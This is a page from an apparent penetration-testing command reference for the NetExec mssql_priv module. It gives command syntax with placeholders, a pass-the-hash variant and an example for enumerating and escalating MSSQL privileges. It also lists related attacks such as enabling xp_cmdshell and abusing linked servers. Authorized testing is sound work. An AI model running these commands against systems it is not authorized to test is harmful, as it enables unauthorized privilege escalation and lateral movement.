NetExec MSSQL Privilege Check

Enumerate and escalate MSSQL server privileges (sysadmin, impersonation, linked servers)

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Lateral Movement / MSSQL
Platform: linux
Requires: password
Protocols: MSSQL

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc mssql '<ip>' -u '<user>' -p '<password>' -M mssql_priv

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc mssql '<ip>' -u '<user>' -H '<hash>' -M mssql_priv

Examples

nxc mssql '192.168.1.100' -u 'user' -p 'password' -M mssql_priv

Tags

nxc mssql privilege-escalation sysadmin impersonation

Impacket MSSQLClient Interactive MSSQL shell for command execution and database access
MSSQLPwner Linked Server Abuse Enumerate and abuse MSSQL linked servers for lateral movement
NetExec MSSQL Command Exec Execute OS commands through MSSQL — auto-enables xp_cmdshell if disabled and the account…
NetExec MSSQL Enable CmdShell Enable xp_cmdshell on a MSSQL server for OS command execution
NetExec MSSQL Linked Servers Enumerate MSSQL linked servers for lateral movement opportunities
NetExec MSSQL xp_cmdshell Execute OS commands via MSSQL xp_cmdshell using NetExec